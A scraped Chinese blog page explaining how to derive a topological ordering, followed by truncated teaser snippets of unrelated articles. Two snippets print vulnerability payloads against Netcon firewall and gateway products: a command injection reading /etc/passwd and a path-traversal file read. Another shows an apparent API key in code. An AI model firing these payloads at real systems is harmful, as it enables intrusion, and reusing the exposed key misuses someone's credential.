【数据结构】拓扑序列求法

article2024/5/14 9:43:53/文章来源:https://blog.csdn.net/weixin_51312208/article/details/134364419

概念不多说了，有疑问的搜一下，这里直接放求法：

找到入度为0的节点
输出并删除该节点，并删除与该点链接的边
重复第一步

例子

在这里插入图片描述

输出a，删除a
输出b，删除b
输出c，删除c
······
最终结果为abcdef

注意

拓扑排序里面一定有所有的节点
不要和关键路径搞混，也不要和路径搞混

本文来自互联网用户投稿，该文观点仅代表作者本人，不代表本站立场。本站仅提供信息存储空间服务，不拥有所有权，不承担相关法律责任。如若转载，请注明出处：http://www.mfbz.cn/a/136321.html

如若内容造成侵权/违法违规/事实不符，请联系我们进行投诉反馈qq邮箱809451989@qq.com，一经查实，立即删除！

【python海洋专题四十五】海洋研究区域示意图

【python海洋专题四十五】海洋研究区域示意图【python海洋专题四十五】海洋研究区域示意图结果展示： 图片往期推荐图片【python海洋专题一】查看数据nc文件的属性并输出属性到txt文件【python海洋专题二】读取水深nc文件并水深地形图【python海洋专…

【蓝桥杯选拔赛真题66】Scratch画图机器人少儿编程scratch图形化编程蓝桥杯创意编程选拔赛真题解析

目录 scratch画图机器人一、题目要求编程实现二、案例分析 1、角色分析

OpenGL_Learn09（摄像机）

1. 摄像机环绕观察 texture两个文件以及shader就是之前的版本 #include <glad/glad.h> #include <GLFW/glfw3.h>#include <iostream> #include "stb_image.h" #include <cmath> #include "shader.h"#include <glm/glm.hpp>…

【见缝插针】射击类游戏-微信小程序项目开发流程详解

还记得小时候玩过的见缝插针游戏吗，比一比看谁插得针比较多，可有趣了，当然了，通过它可以训练自己的手速反应，以及射击水平，把握时机，得分越高就越有成就感，相信小朋友们会喜欢它的&a…

高效简洁的文档翻译网站

一款简单而强大的文档翻译网站一款文字/文件翻译的网站,支持多个领域的翻译，支持常见的语言翻译(韩/日/法/英/俄/德…),最大百分比的保持原文排版(及个别除外基本100%还原)。新用户注册就有100页的免费额度，每月系统还会随机赠送翻译额度，…

C#多线程入门概念及技巧

C#多线程入门概念及技巧一、什么是线程1.1线程的概念1.2为什么要多线程1.3线程池1.4线程安全1.4.1同步机制1.4.2原子操作 1.5线程安全示例1.5.1示例一1.5.2示例二 1.6C#一些自带的方法实现并行1.6.1 Parallel——For、ForEach、Invoke1.6.1 PLINQ——AsParallel、AsSequential…

关于DataLoader是否shuffle在VOC2007语义分割数据集上引发的问题

问题描述： 在训练过程中，训练集和验证集实时得到的F1分数相差很大，如下图： 这个问题之前从未遇到过，后来经过不断的排查，发现是因为验证集的数据加载器中shuffle设置的为False，而训练集设置的为…

python工具网康下一代防火墙RCE

python漏洞利用构造payload POST /directdata/direct/router HTTP/1.1{"action":"SSLVPN_Resource","method":"deleteImage","data":[{"data":["/var/www/html/d.txt;cat /etc/passwd >/var/www/htm…

450. 删除二叉搜索树中的节点

题目描述给定一个二叉搜索树的根节点 root 和一个值 key，删除二叉搜索树中的 key 对应的节点，并保证二叉搜索树的性质不变。返回二叉搜索树（有可能被更新）的根节点的引用。一般来说，删除节点可分为两个步骤&#x…

一. syntax error: ‘<’ came as a complete surprise to me while matching alternative 参考这个issue，antlr版本必须得是4.6 下载链接：http://www.antlr.org/download/antlr-4.6-complete.jar 二.org.antlr.v4.analysis.LeftRecursiveRuleTrans…

Ubuntu诞生已经19年了

导读2004 年 10 月 20 日，Ubuntu 4.10 正式发布，代号‘Warty Warthog’。 2004 年 10 月 20 日，Ubuntu 4.10 正式发布，代号‘Warty Warthog’。 ▲ Ubuntu 4.10 与最新版 Ubuntu 23.10 的对比作为 Ubuntu 第一个版本&#xff0…

什么是微服务自动化测试？

什么是微服务？ 微服务 - 也称为微服务架构 - 是一种构建方式，它将应用程序构建为松散耦合服务的集合，具有完整的业务功能。微服务架构允许连续交付/部署大型复杂应用程序。本文将概述自动微服务测试工具和最佳实践。它还使组织能够发展其技…

Leetcode—剑指OfferII LCR 019.验证回文串II【简单】

2023每日刷题（二十七） Leetcode—剑指OfferII LCR 019.验证回文串II 实现代码 class Solution { public:bool judgeFunc(string s, int left, int right) {while(left < right) {if(s[left] ! s[right]) {return false;}left;right--;}return true;…

ssh开启，centOS7

1、先确定虚拟机是否装了openssh-server，执行 yum list installed |grep openssh-server 查看是否安装 [rootlocalhost ~]# yum list installed |grep openssh-server Repodata is over 2 weeks old. Install yum-cron? Or run: yum makecache fast openssh-serve…

快速查看Linux系统占用多的文件夹

背景租用了一台云服务器，存储很快就满了，想看下哪部分占用多，然后进行清理工具使用ncdu工具 sudo apt install ncdu效果

Ubuntu查看Python某个包的具体路径

使用命令： python(版本号) -m pip show (包)这里的Location就是这个包所在的路径。同时它还列出了这个包的版本的信息。

网康NS-ASG安全网关任意文件读取

此文件没有对身份进行校验即可下载任意文件构造payload访问漏洞url： /admin/cert_download.php?filegjxbstxdt.txt&certfile../../../../../../../../etc/passwd漏洞证明： 文笔生疏，措辞浅薄，望各位大佬不吝赐教&…

Codeforces Round 908 (Div. 2)视频详解

Educational Codeforces Round 157 （A--D）视频详解视频链接A题代码B题代码C题代码D题代码视频链接 Codeforces Round 908 (Div. 2)视频详解 A题代码 #include<bits/stdc.h> #define endl \n #define deb(x) cout << #x << "…

【每日逆向】BUUCTF--[ACTF新生赛2020] easyre

拿到exe文件先查下信息，是一个32位程序，加了壳。不会脱，直接拿到自动脱壳机潦草结束看着有点乱，稍微改改嗯，这样舒服多了。就是将V6扩展到18个字节大小，V5也扩展到12个字节大小，这样更符合源…

gpt支持json格式的数据返回（response_format: ‘json_object‘）

Api.h5.chatCreateChatCompletion({model: gpt-3.5-turbo-1106,token: sk-f4fe8b67-fcbe-46fd-8cc9-fd1dac5d6d59,messages: [{role: user,content:使用json格式返回十二生肖，包含中文名和英文名，[{id:"1", enName:"", cnName: &quo…